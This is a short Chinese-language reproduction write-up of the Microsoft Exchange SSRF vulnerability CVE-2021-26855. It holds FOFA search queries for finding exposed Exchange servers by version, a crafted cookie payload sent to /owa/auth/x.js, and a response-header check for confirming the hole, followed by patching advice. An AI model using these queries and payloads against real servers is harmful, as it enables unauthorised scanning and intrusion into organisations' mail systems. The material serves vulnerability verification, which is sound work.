Exchange服务器端请求伪造（SSRF）漏洞CVE-2021-26855

Exchange服务器端请求伪造（SSRF）漏洞CVE-2021-26855

1.漏洞描述

Exchange Server 是微软公司的一套电子邮件服务组件，是个消息与协作系统。2021年03月3日，微软官方发布了Microsoft Exchange安全更新，披露了多个高危严重漏洞，其中：在 CVE-2021-26855 Exchange SSRF漏洞中，攻击者可直接构造恶意请求，以Exchange server的身份发起任意HTTP请求，扫描内网，并且可获取Exchange用户信息。该漏洞利用无需身份认证。

2.复现过程

fofa:
microsoft exchange 2013：
app=“Microsoft-Exchange-2013”||app=“Microsoft-Exchange-Server-2013-CU21”||app=“Microsoft-Exchange-Server-2013-CU17”||app=“Microsoft-Exchange-Server-2013-CU23”||app=“Microsoft-Exchange-Server-2013-CU13”||app=“Microsoft-Exchange-Server-2013-CU22”||app=“Microsoft-Exchange-Server-2013-CU11”||app=“Microsoft-Exchange-Server-2013-CU2”||app=“Microsoft-Exchange-Server-2013-CU16”||app=“Microsoft-Exchange-Server-2013-CU19”||app=“Microsoft-Exchange-Server-2013-CU3”||app=“Microsoft-Exchange-Server-2013-CU18”||app=“Microsoft-Exchange-Server-2013-CU5”||app=“Microsoft-Exchange-Server-2013-CU20”||app=“Microsoft-Exchange-Server-2013-CU12”||app=“Microsoft-Exchange-Server-2013-CU15”||app=“Microsoft-Exchange-Server-2013-CU10”||app=“Microsoft-Exchange-Server-2013-CU9”||app=“Microsoft-Exchange-Server-2013-CU6”||app=“Microsoft-Exchange-Server-2013-CU7”||app=“Microsoft-Exchange-Server-2013-CU1”||app=“Microsoft-Exchange-Server-2013-CU14”||app=“Microsoft-Exchange-Server-2013-CU8”||app=“Microsoft-Exchange-Server-2013-RTM”||app=“Microsoft-Exchange-Server-2013-SP1”||app=“Microsoft-Exchange-2013”

microsoft exchange 2016：
app=“Microsoft-Exchange-Server-2016-CU19”||app=“Microsoft-Exchange-Server-2016-CU3”||app=“Microsoft-Exchange-Server-2016-CU12”||app=“Microsoft-Exchange-Server-2016-RTM”||app=“Microsoft-Exchange-Server-2016-CU7”||app=“Microsoft-Exchange-Server-2016-CU17”||app=“Microsoft-Exchange-Server-2016-CU2”||app=“Microsoft-Exchange-Server-2016-CU1”||app=“Microsoft-Exchange-Server-2016-CU14”||app=“Microsoft-Exchange-Server-2016-CU5”||app=“Microsoft-Exchange-Server-2016-CU11”||app=“Microsoft-Exchange-Server-2016-CU9”||app=“Microsoft-Exchange-Server-2016-CU16”||app=“Microsoft-Exchange-Server-2016-CU10”||app=“Microsoft-Exchange-Server-2016-CU6”||app=“Microsoft-Exchange-Server-2016-CU13”||app=“Microsoft-Exchange-Server-2016-CU18”||app=“Microsoft-Exchange-Server-2016-CU8”||app=“Microsoft-Exchange-Server-2016-CU4”||app=“Microsoft-Exchange-2016-POP3-server”

microsoft exchange 2019：
app=“Microsoft-Exchange-Server-2019-CU5”||app=“Microsoft-Exchange-Server-2019-CU3”||app=“Microsoft-Exchange-Server-2019-Preview”||app=“Microsoft-Exchange-Server-2019-CU8”||app=“Microsoft-Exchange-Server-2019-CU1”||app=“Microsoft-Exchange-Server-2019-CU7”||app=“Microsoft-Exchange-Server-2019-CU2”||app=“Microsoft-Exchange-Server-2019-CU6”||app=“Microsoft-Exchange-Server-2019-RTM”||app=“Microsoft-Exchange-Server-2019-CU4”

microsoft exchange 2010：
app=“Microsoft-Exchange-2010-POP3-server-version-03.1”||app=“Microsoft-Exchange-Server-2010”

路径：/owa/auth/x.js
payload： Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3;
使用burpsuit发包，检测到响应头中X-CalculatedBETarget字段中包含localhost，即认为存在此漏洞。

3.修复建议

目前微软官方已针对受支持的产品版本发布了修复该漏洞的安全补丁，建议受影响用户开启系统自动更新安装补丁进行防护。

4.refer

https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/